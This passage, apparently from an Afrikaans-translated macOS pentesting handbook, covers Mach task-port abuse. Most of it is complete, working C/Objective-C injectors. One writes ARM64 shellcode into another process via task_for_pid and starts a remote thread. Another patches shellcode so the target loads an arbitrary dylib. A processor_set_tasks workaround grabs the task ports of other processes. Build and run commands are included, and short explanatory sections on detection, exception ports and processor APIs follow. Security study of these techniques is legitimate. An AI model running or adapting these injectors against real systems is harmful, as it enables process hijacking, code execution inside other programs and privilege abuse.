fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
tip
Vir dit om op iOS te werk, benodig jy die regte dynamic-codesigning
om 'n skryfbare geheue uitvoerbaar te maak.
Dylib Inspuiting in draad via Taakpoort
In macOS draad kan gemanipuleer word via Mach of deur gebruik te maak van posix pthread
api. Die draad wat ons in die vorige inspuiting gegenereer het, is gegenereer met die Mach api, so dit is nie posix-konform nie.
Dit was moontlik om 'n eenvoudige shellcode in te spuit om 'n opdrag uit te voer omdat dit nie met posix konforme apis moes werk nie, net met Mach. Meer komplekse inspuitings sou vereis dat die draad ook posix-konform moet wees.
Daarom, om die draad te verbeter, moet dit pthread_create_from_mach_thread
aanroep wat 'n geldige pthread sal skep. Dan kan hierdie nuwe pthread dlopen aanroep om 'n dylib van die stelsel te laai, sodat dit in plaas daarvan om nuwe shellcode te skryf om verskillende aksies uit te voer, moontlik is om pasgemaakte biblioteke te laai.
Jy kan voorbeeld dylibs vind in (byvoorbeeld die een wat 'n log genereer en dan kan jy daarna luister):
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
dylib_injector.m
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
Draad Hijacking via Taakpoort
In hierdie tegniek word 'n draad van die proses gehuig:
macOS Thread Injection via Task port
Taakpoort Inspuiting Detectie
Wanneer task_for_pid
of thread_create_*
'n teller in die struktuur taak van die kernel verhoog wat vanaf gebruikersmodus toegang kan verkry deur task_info(task, TASK_EXTMOD_INFO, ...)
aan te roep.
Uitsondering Poorte
Wanneer 'n uitsondering in 'n draad voorkom, word hierdie uitsondering na die aangewese uitsonderingpoort van die draad gestuur. As die draad dit nie hanteer nie, word dit na die taak uitsonderingpoorte gestuur. As die taak dit nie hanteer nie, word dit na die gasheerpoort gestuur wat deur launchd bestuur word (waar dit erken sal word). Dit word uitsondering triage genoem.
Let daarop dat aan die einde, as dit nie behoorlik hanteer word nie, die verslag gewoonlik deur die ReportCrash daemon hanteer sal word. Dit is egter moontlik vir 'n ander draad in dieselfde taak om die uitsondering te hanteer, dit is wat crash reporting tools soos PLCreashReporter
doen.
Ander Voorwerpe
Horlosie
Enige gebruiker kan inligting oor die horlosie bekom, maar om die tyd in te stel of ander instellings te wysig, moet een root wees.
Om inligting te verkry, is dit moontlik om funksies van die clock
subsysteem aan te roep soos: clock_get_time
, clock_get_attributtes
of clock_alarm
Om waardes te wysig, kan die clock_priv
subsysteem gebruik word met funksies soos clock_set_time
en clock_set_attributes
.
Verwerkers en Verwerkerstel
Die verwerker API's laat toe om 'n enkele logiese verwerker te beheer deur funksies soos processor_start
, processor_exit
, processor_info
, processor_get_assignment
aan te roep...
Boonop bied die verwerkerstel API's 'n manier om verskeie verwerkers in 'n groep te groepeer. Dit is moontlik om die standaard verwerkerstel te verkry deur processor_set_default
aan te roep.
Hierdie is 'n paar interessante API's om met die verwerkerstel te kommunikeer:
processor_set_statistics
processor_set_tasks
: Teruggee 'n reeks van stuurregte na alle take binne die verwerkerstelprocessor_set_threads
: Teruggee 'n reeks van stuurregte na alle drade binne die verwerkerstelprocessor_set_stack_usage
processor_set_info
Soos genoem in hierdie pos, het dit in die verlede toegelaat om die voorheen genoem beskerming te omseil om taakpoorte in ander prosesse te verkry om hulle te beheer deur processor_set_tasks
aan te roep en 'n gasheerpoort op elke proses te verkry.
Tans het jy root nodig om daardie funksie te gebruik en dit is beskerm, so jy sal slegs in staat wees om hierdie poorte op onbeveiligde prosesse te verkry.
Jy kan dit probeer met:
processor_set_tasks kode
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/sysctl.h>
#include <libproc.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <mach/exception_types.h>
#include <mach/mach_host.h>
#include <mach/host_priv.h>
#include <mach/processor_set.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <mach/task.h>
#include <mach/task_info.h>
#include <mach/mach_traps.h>
#include <mach/mach_error.h>
#include <mach/thread_act.h>
#include <mach/thread_info.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/ptrace.h>
mach_port_t task_for_pid_workaround(int Pid)
{
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
mach_port_t psDefault;
mach_port_t psDefault_control;
task_array_t tasks;
mach_msg_type_number_t numTasks;
int i;
thread_array_t threads;
thread_info_data_t tInfo;
kern_return_t kr;
kr = processor_set_default(myhost, &psDefault);
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
mach_error("host_processor_set_priv",kr); exit(1);}
printf("So far so good\n");
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
for (i = 0; i < numTasks; i++)
{
int pid;
pid_for_task(tasks[i], &pid);
printf("TASK %d PID :%d\n", i,pid);
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
printf("Command line: %s\n", pathbuf);
} else {
printf("proc_pidpath failed: %s\n", strerror(errno));
}
if (pid == Pid){
printf("Found\n");
return (tasks[i]);
}
}
return (MACH_PORT_NULL);
} // end workaround
int main(int argc, char *argv[]) {
/*if (argc != 2) {
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
if (pid <= 0) {
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
return 1;
}*/
int pid = 1;
task_for_pid_workaround(pid);
return 0;
}
```